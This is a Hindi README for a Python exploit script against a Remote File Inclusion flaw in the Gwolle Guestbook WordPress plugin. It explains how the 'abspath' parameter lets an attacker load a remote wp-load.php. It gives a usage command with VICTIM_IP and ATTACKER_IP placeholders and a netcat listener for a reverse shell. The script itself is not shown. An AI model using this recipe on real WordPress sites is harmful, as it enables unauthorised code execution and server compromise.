Gwolle Guestbook WordPress Plugin RFI शोषण

यह Python स्क्रिप्ट Gwolle Guestbook WordPress Plugin में एक गंभीर Remote File Inclusion (RFI) भेद्यता का शोषण करती है, जिसका शोषण एक गैर-प्रमाणित हमलावर द्वारा किया जा सकता है ताकि एक दूरस्थ PHP फ़ाइल शामिल की जा सके और भेद्य प्रणाली पर मनमाना कोड निष्पादित किया जा सके।

भेद्यता विवरण

HTTP GET पैरामीटर "abspath" को PHP require() फ़ंक्शन में उपयोग करने से पहले ठीक से स्वच्छ नहीं किया जा रहा है। एक दूरस्थ हमलावर किसी भी दूरस्थ सर्वर से 'wp-load.php' नामक फ़ाइल शामिल कर सकता है और भेद्य वेब सर्वर पर इसकी सामग्री निष्पादित कर सकता है। ऐसा करने के लिए, हमलावर को अपने सर्वर के दस्तावेज़ रूट में एक दुर्भावनापूर्ण 'wp-load.php' फ़ाइल रखनी होगी और अनुरोध में सर्वर का URL शामिल करना होगा।

इस भेद्यता के सफल शोषण से संपूर्ण WordPress स्थापना से समझौता हो सकता है, और यहां तक कि पूरे वेब सर्वर से समझौता हो सकता है।

उपयोग

स्क्रिप्ट को तीन तर्कों की आवश्यकता है:

• लक्ष्य URL: भेद्य WordPress स्थापना का URL।
• हमलावर होस्ट: हमलावर की मशीन का IP पता या होस्टनाम।
• हमलावर पोर्ट: वह पोर्ट नंबर जहां हमलावर रिवर्स शेल के लिए सुन रहा है।

उदाहरण:

python3 exploit.py VICTIM_IP/WORDPRESS ATTACKER_IP ATTACKER_PORT

नोट: आपके पास हमलावर मशीन पर निर्दिष्ट पोर्ट पर एक netcat लिसनर खुला होना चाहिए।

अस्वीकरण

यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए प्रदान की गई है। इस स्क्रिप्ट के दुरुपयोग से होने वाली किसी भी क्षति के लिए लेखक जिम्मेदार नहीं है।